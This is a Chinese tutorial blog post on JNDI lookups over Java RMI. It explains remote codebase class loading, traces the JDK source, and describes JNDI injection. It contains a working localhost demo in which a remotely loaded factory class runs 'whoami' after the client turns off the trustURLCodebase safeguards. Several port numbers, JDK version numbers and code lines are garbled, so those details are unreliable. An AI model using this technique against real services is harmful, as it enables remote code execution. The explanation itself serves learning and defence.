JNDI With RMI

JNDI With RMI

JNDI with RMI

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),jndi类似于一个索引中心,允许客户端通过name发现和查找数据和对象,并将这些对象加载到本地并运行。

JNDI With RMI_第1张图片

JNDI本事只是一种接口,具体的实现有:

  • RMI: 远程方法调用
  • CORBA: 通用对象请求代理体系结构
  • LDAP: 轻型目录访问协议
  • DNS: 域名服务

Codebase

CodeBase 官方文档

Codebase是JVM要加载类文件时的位置,其中 CLASSPATRH 被当作本地代码库,即从本地磁盘加载。除了使用本地加载方式,java还可以通过序列化动态地从远程加载类并使用。

在该方式下,客户端JVM直接通过访问资源服务器(一般为http或者ftp服务器)下载class文件,通过反射加载到本地并执行相应代码。

JNDI With RMI_第2张图片

在该种方式下,要加载的远程类及其所依赖的类文件必须可被客户端访问。

在java RMI协议中使用Codebase

RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

Codebase设定

远程对象的代码库由远程对象的服务器通过设置系统属性 java.rmi.server.codebase 来指定。

在JVM启动时:

  • 如果可下载类的位置在名为“webvector”的 HTTP 服务器上,在目录“export”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webvector/export/
    

    注意:当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在对应目录下查询类文件。

  • 如果可下载类的位置在名为“webline”的 HTTP 服务器上,在名为“mystuff.jar”的 JAR 文件中,在目录“public”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webline/public/mystuff.jar 0-p--p
    
  • 如果可下载类的位置已被分成两个 JAR 文件,“myStuff.jar”和“myOtherStuff.jar”。如果这些 JAR 文件位于不同的服务器上(名为“webfront”和“webwave”),codebase`属性设置如下所示:

    java -Djava.rmi.server.codebase="http://webfront/myStuff.jar http://webwave/myOtherStuff.jar"
    

或者在代码中使用 System#setProperty 方法设置配置:

System.setProperty("java.rmi.server.codebase", "ip[:port]/path [other,..]");

注意:JVM首先会在 CLASSPATH 中搜索要加载对象,当找到之后便不会进行远程加载过程。

限制

在JDK 7u216u45 版本之后,System.properties中的 java.rmi.server.useCodebaseOnly 修改为 false,也即只能从预配置的 codebase 中加载类定义。

在更之后的版本,jdk采取 trustCodebase 属性来限制jdni的使用。

RMI实现JNDI过程
  1. 远程对象的代码库由远程对象的服务器通过设置 java.rmi.server.codebase 属性来指定。RMI serverRMI resistry 注册一个绑定名称的远程对象,之后 RMI server 通过一个 remote object reference 来表示该远程对象的资源位置。

  2. RMI client 请求一个 remote object reference,引用(远程对象的stub instance)是客户端用来对远程对象进行远程方法调用的对象。

  3. RMI server 返回一个被请求的远程对象的 reference (the stub instance).

    JNDI With RMI_第3张图片

  4. Client 向 Codebase 请求目标Class定义,该 Codebase 是根据客户端之前请求的 reference (the stub instance) 来获取的。

  5. stub 所代表的的类定义(以及它需要的任何其他类)被下载到客户端。

    JNDI With RMI_第4张图片

class文件查找方式

如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下:

java -Djava.rmi.server.codebase=protocol://ip[:port]/  .. other args

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件。

如果包含多个class文件,则客户端会分多次下载对应class文件,如果找不到客户端会抛出 NoClassDefError

例如:如果传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

protocol://ip[:port]/com/project/test.class

使用wireshark查看Client加载多个class文件时的http请求:

JNDI With RMI_第5张图片

如果项目被打包为jar,则需要在url中指定该jar包的路径,且客户端会下载整个jar包。

-Djava.rmi.server.codebase=protocol://ip[:port]/project.jar

例如:客户端请求的class被包含在某个jar包里:

使用wireshark查看Client加载整个jar包时的http请求:

JNDI With RMI_第6张图片

RMI 实现的 JNDI 例子

远程对象

编写要被远程载入的类:CmdExecutor类:该代码在构造时,执行传入的命令,将文本输出到执行方的终端

package exec;

import java.io.*;

public class CmdExecutor {
    String cmd=null;

    public CmdExecutor(String cmd) throws Exception {
        System.out.println("Cmd Executor is constructed. cmd: " +cmd);
        this.cmd = cmd;
        exec();  .
    }

    public void exec() {
        final Process process;
        process = Runtime.getRuntime().exec(cmd);
        try {
            int value=process.waitFor();
            Reader reader =new InputStreamReader(process.getInputStream());
            BufferedReader bf = new BufferedReader(reader);
            String line = null;
            try {
                while ((line=bf.readLine())!=null){
                    System.out.println(line);
                }
            }catch (IOException e){
                System.err.println("some err happened: "+ e);
            }
        } catch (IOException | InterruptedException e) {
            System.err.println("some err happened: "+ e);
        }
    }
}

实际上客户端并不是直接通过获取工作类,而是需要一个实现了 ObjectFactory 的工厂类去实例化一个真实的工作类对象:该工厂类实例化一个 CmdExecutor,让该实例化对象在构造时就执行 whoami 命令;

import exec.CmdExecutor;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecutorFactory implements ObjectFactory {
    public ExecutorFactory(){
        System.out.println("ExecutorFactoryis constructed.");
    }
    
    @Override
    public Object getObjectInstance(Object o, Name name, Context context, Hashtable hashtable) throws Exception {
        System.out.println("generating a new CmdExecutor...");
        return new CmdExecutor("whoami");
    }
}

之后将编译好的class文件或者打包好的jar包放在web服务器中(注意路径):

JNDI With RMI_第7张图片

开启rim服务端

编写服务端,创建一个注册中心,将 name 映射到 obj:

package server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import javax.naming.Reference;
import java.rmi.registry.Registry;

public class RefRegister{
    public void start(int port) throws Exception{
        // 创建一个注册中心,以port作为端口
        Registry registry = LocateRegistry.createRegistry(port);
        Reference executorRef  = new Reference("remote.exec.CmdExecutor", "remote.exec.ExecutorFactory", "http://127.0.0.1:8080/rmi-server.jar");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(executorRef);

        // 将Executor类绑定到 rmi://127.0.0.1:1099/exec 上
        System.out.print("Binding 'refObjWrapper' to 'rim://127.0.0.1:"+port+"/'... ");
        registry.bind("exec", refObjWrapper);
        System.out.println("Successful");
    }
    
    public static void main(String[] args) throws Exception {
        new RefRegister().start(1099);
    }
}

以上代码是开启1079端口运行rim服务,并将 ExecutorFactory 类绑定到与名字:exec 相绑定。

rmi协议通过将该Reference对象序列化,并传输至客户端,以此客户端得知想获取的资源位置。

这里是把hacker-service项目打包成jar文件,所以 CmdExecutor 需要映射到该jar文件的路径。

执行Server类的psvm。(public static void main),启动RMI服务。

客户端获取并加载目标class对象

客户端代码:

package client;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String uri = "rmi://127.0.0.1:1079/exec";
        Context ctx = new InitialContext();
        Object obj = ctx.lookup(uri);
        System.out.println(obj.getClass());
    }
}
解除版本限制
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

这两个语句的作用是解除 rmi 与 ldap 的加载远程类Codebase的限制。

如果不设置"com.sun.jndi.rmi.object.trustURLCodebase""true",则可能抛出以下错误:

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at client.Client.run(Client.java:12)
	at Application.main(Application.java:4)

即默认不信任指定的Codebase;

如果不设置 "com.sun.jndi.ldap.object.trustURLCodebase""true" ,则 ctx.lookup(uri) 会返回一个javax.naming.Reference 对象,而不是真正的预期class实例,原因可能是当获取Reference对象并解析资源位置时,会调用ladp协议获取真正的资源。(?ISSUE)

执行Client类的psvm,输出如下:

➜  java client.Client
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss
class exec.CmdExecutor
  1. 远程工厂类首先被实例化。
  2. 工厂类的getObjectInstance 被调用。
  3. 接口方法返回一个 exec.CmdExecutor 对象,并在构造方法中执行 whoami命令。

如果以root权限运行客户端:

➜  sudo java client.Client
[sudo] password for niss: 
ExecutorFactoryis constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: root
class exec.CmdExecutor

可以看到客户端所获取的类是完完全全以本地方式运行的

源码解析

相关类

RefAddr

javax.naming.RefAddr 用于 Reference 中的类定义资源所在地址的抽象。

该类为抽象类,需要实现 getContent() 方法;

JNDI With RMI_第8张图片

最常用的为 StringRefAddr

public class StringRefAddr extends RefAddr {
    private String contents;
    public StringRefAddr(String addrType, String addr) {
        super(addrType);
        contents = addr;
    }
    public Object getContent() {return contents;}
    private static final long serialVersionUID = -8913762495138505527L;
}
  • contents:具体的地址;
Reference

javax.naming.Reference

JNDI With RMI_第9张图片

该类包含4个属性:

  • className:被引用的远程调用类名;
  • all:被引用的类所在地址向量;
  • classFactory:用于生成该类的工厂类名;
  • classFactoryLocation:工厂类地址;

注意:第三个构造方法为 Reference(ClassName, classFactory, classFactoryLocation) ,并没有设置被引用类的地址。

RemoteRefrence

com.sun.jndi.rmi.registry.RemoteReference 接口,用于获取 Reference 对象。

public interface RemoteReference extends Remote {
        Reference getReference() throws NamingException, RemoteException;
}
ReferenceWrapper

com.sun.jndi.rmi.registry.ReferenceWrapper 类,作为 Reference 类的包装类,实现了 RemoteReference接口;并且其继承于 UnicastRemoteObject ,使其可以作为Stub并远程传输 。

public class ReferenceWrapper
        extends UnicastRemoteObject
        implements RemoteReference
{
    protected Reference wrappee;        // reference being wrapped

    public ReferenceWrapper(Reference wrappee)
            throws NamingException, RemoteException
    {
        this.wrappee = wrappee;
    }

    public Reference getReference() throws RemoteException {
        return wrappee;
    }

    private static final long serialVersionUID = 6078186197417641456L;
}

:利用 register#lookup(String) 方法获取传输到客户端的类型,发现客户端获取的为 ReferenceWrapper_Stub,可以通过反射调用 getReference 方法获取真实的 Reference

Registry registry = LocateRegistry.getRegistry("127.0.0.1", port, Socket::new);
System.out.println(registry.getClass());
Object wrapper = registry.lookup("exec");
System.out.println(Arrays.toString(wrapper.getClass().getInterfaces()));
Method method = wrapper.getClass().getDeclaredMethod("getReference");
Reference ref = (Reference) method.invoke(wrapper);
System.out.println(ref.getClass());
System.out.println("\t"+ref.getClassName()+"\n\t"+ref.getFactoryClassName()+"\n\t"+ref.getFactoryClassLocation()+"\n\t");



class com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
[interface com.sun.jndi.rmi.registry.RemoteReference, interface java.rmi.Remote]
class javax.naming.Reference
	remote.exec.CmdExecutor
	remote.exec.ExecutorFactory
	http://127.0.0.1:8080/rmi-server.jar

方法加载过程

大概方法调用栈过程:

:217, VersionHelper12$7 (com.sun.naming.internal)
getContextClassLoader:216, VersionHelper12 (com.sun.naming.internal)
loadClassWithoutInit:65, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:148, NamingManager (javax.naming.spi)
getObjectInstance:330, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
run:12, Client (client)
main:5, Application

lookup 方法会调用 javax.naming.InitialContext#getURLOrDefaultInitCtx(java.lang.String) 方法,先判断传入的协议类型,再去获取一个Context。

JNDI With RMI_第10张图片

可以看出根据传入的 rmi://127.0.0.1:1079/exec,该方法返回了一个 rmiURLContext 对象。

接下来便会根据协议路径来尝试获取 Reference 对象。

根据协议获取的 rmiURLContext 对象的 lookup 方法中,会对协议进行解析,获取对应的 Context 以及 协议URL中的各种字段。

最终会进入 ctx.lookup 方法:

JNDI With RMI_第11张图片

RegistryContext

进入方法,发现获取的 Context 的实现类为 RegistryContext

public class RegistryContext implements Context, Referenceable {

    private Hashtable environment;
    private Registry registry;
    private String host;
    private int port;
    private static final NameParser nameParser = new AtomicNameParser();
    private static final String SOCKET_FACTORY = "com.sun.jndi.rmi.factory.socket";
    /**
     * Determines whether classes may be loaded from an arbitrary URL code base.
     */
    static final boolean trustURLCodebase;
    static {
        // System property to control whether classes may be loaded from an
        // arbitrary URL codebase
        PrivilegedAction act = () -> System.getProperty(
            "com.sun.jndi.rmi.object.trustURLCodebase", "false");
        String trust = AccessController.doPrivileged(act);
        trustURLCodebase = "true".equalsIgnoreCase(trust);
    }

    Reference reference = null; // ref used to create this context, if any

    // Environment property that, if set, indicates that a security
    // manager should be installed (if none is already in place).
    public static final String SECURITY_MGR =
            "java.naming.rmi.security.manager";
    ...

该类中包含一个静态代码快,用于获取系统属性 com.sun.jndi.rmi.object.trustURLCodebase 判断是否为 "true",并将结果赋值给属性 trustURLCodebase

在该类的构造方法中,通过前面对协议URL解析出的host、port来获取一个 Registry (实际上是一个 RegisterImpl_Stub,正好符合RMI的调用过程);

之后通过 registry.lookup 方法获取服务端绑定的远程对象的引用包装 ReferenceWrapper(实际上是 ReferenceWrapper_Stub):

JNDI With RMI_第12张图片

之后调用 this.decodeObject 方法,根据 Reference 提供的URL来获取真正的类资源。

decodeObject

JNDI With RMI_第13张图片

该方法会判断之前 registry.lookup 的返回对象是否为 RemoteReference 接口的实现类,由于返回的是一个 ReferenceWrapper_Stub ,所以条件为真,调用接口方法 getReference 获取真正的 Reference 对象: ref

之后进入条件判断 ref 不为 null,,ref.getFactoryClassLocation 不为 null ,但是 trustURLCodefalse,之后会抛出 ConfigurationException

这也是系统属性 com.sun.jndi.rmi.object.trustURLCodebase 真正起作用的地方,只有设置为 true 之后才不会进入这段代码,导致抛出异常。

InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec");

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)

之后进入 NamingMannager.getObjectInstance 方法。

NamingMannager#getObjectInstance

参数

image-20220325143646184

JNDI With RMI_第14张图片

判断 refInfo 类型为 Reference 后,通过 ref.getFactoryClassName 获取远程工厂类名。

之后进入 getObjectFactoryFormReference 来获取工厂类Class定义。

NamingMannager#getObjectFactoryFormReference

JNDI With RMI_第15张图片

VersionHelper12 类型对象 helpr 首先会尝试loadClassWithoutInit,而其最终调用 Class.forName 去加载工厂类:

image-20220325144206994

类加载器类型为 sun.misc.Luncher

尝试在本地中加载类

由于 java 的双亲委派机制,会将 loadClass 方法不断委托到 parent (父-类加载器),最终委托到 BootStrapLoader 。由于 remote.exec.ExecutoryFactory 是网络资源,不可能在本地 Classpath 中找到,因此会返回 null

JNDI With RMI_第16张图片

之后调用 findClass 去从外部资源中寻找Class定义:

JNDI With RMI_第17张图片

URLClassLoader也找不到该类的定义,抛出异常 ClassNotFoundExecption

JNDI With RMI_第18张图片

未找到并返回

返回到 getObjectFactoryFromReference 中,尝试利用 helper.loadClass 加载工厂类:

JNDI With RMI_第19张图片

这里解释了为什么rmi方式的jndi会优先从本地classpath加载类。

VersionHelper12

VersionHelper was used by JNDI to accommodate differences between JDK 1.1.x and the Java 2 platform. As this is no longer necessary since JNDI's inclusion in the platform, this class currently serves as a set of utilities for performing system-level things, such as class-loading and reading system properties.

总之该类是一个用于在JDNI下,加载类资源的一个工具类。

final class VersionHelper12 extends VersionHelper {

    // Disallow external from creating one of these.
    VersionHelper12() {
    }

    public Class loadClass(String className) throws ClassNotFoundException {
        return loadClass(className, getContextClassLoader());
    }

    public Class loadClassWithoutInit(String className) throws ClassNotFoundException {
        return loadClass(className, false, getContextClassLoader());
    }

    /**
     * Determines whether classes may be loaded from an arbitrary URL code base.
     */
    private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

VersionHelper12 中,存在静态属性 trustURLCodebase(从系统属性中获取):而在之后的 loadClass(String className, String codebae) 方法中也会进行判断,是否为 true

JNDI With RMI_第20张图片

这里才是系统属性 com.sun.jndi.ldap.object.trustURLCodebase 真正起作用的地方,必须设置为 true 才能进入之后的类加载过程。否则返回null,z最终导致 RegestryContext#getObjectInstance 方法返回 refInfo

JNDI With RMI_第21张图片

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec");
System.out.println(obj.getClass());

class javax.naming.Reference

之后通过方法 getUrlArray 方法来获取一个 URL 数组。

这也就解释了为什么在定义 codebase 时,可以使用空格分割,从而传递多个codebase

之后获取一个 URLClassLoader ,最后调用 loadClass 方法,利用该 URLClassLoader 加载工厂类。

image-20220325154356934

最终成功加载类定义后,返回到getObjectFactoryFromReference,调用 clas.newInstance 方法成一个工厂类实例:

image-20220325151255130

image-20220325151333292

远程对象的实例生成

终于到最后一步了,前面的 getObjectFactoryFromReference 方法结束后,返回工厂类实例,之后调用接口 getObjectInstance 方法,生成一个新的远程对象:

JNDI With RMI_第22张图片

发现IDEA的debug已经定位到jar包的资源:

image-20220325152041025

为了生成 CmdExecutor ,之后还会尝试使用 URLClassLoader 去加载该类定义:

JNDI With RMI_第23张图片

经历一系列套娃 loadClass 后,CmdExecutor 终于被成功加载,并实例化:

image-20220325152443387

之后各种返回,将ExecutorFactory 实例生成的 CmdExecutor 实例返回:

JNDI With RMI_第24张图片

Jndi注入

事实上如果java代码中,用户的输入与类的加载(InitialContext#lookup)相关,那么很可能用户输入一个自己编写的jndi服务地址,并且用户将想执行的代码编写至一个class文件中,最终服务器将会加载用户指定的类,并执行对应的构造方法或者其他方法。

当然以上都是手动在客户端代码中解除了 trustURLCodebase 限制之后的效果,而在java1.8之后,虽然jdk默认禁止加载远程class,但依然存在jdni注入威胁。

JDK 5U456U457u218u121 及其之后 java.rmi.server.useCodebaseOnly 默认值为 "true".

JDK 6u1327u1228u113 及其之后 com.sun.jndi.rmi.object.trustURLCodebase 默认值为"false".

JDK 11.0.18u1917u2016u211 及其之后 com.sun.jndi.ldap.object.trustURLCodebase 默认值为"false".

JNDI With RMI_第25张图片


参考

  • log4j2 JNDI注入漏洞速通

  • Java安全之JNDI注入

  • 如何绕过高版本JDK的限制进行JNDI注入利用

  • 深入理解JNDI注入与Java反序列化漏洞利用

  • AccessController.doPrivileged的作用

  • Java JNDI 注入原理与高 JDK 版本绕过

你可能感兴趣的:(JNDI With RMI)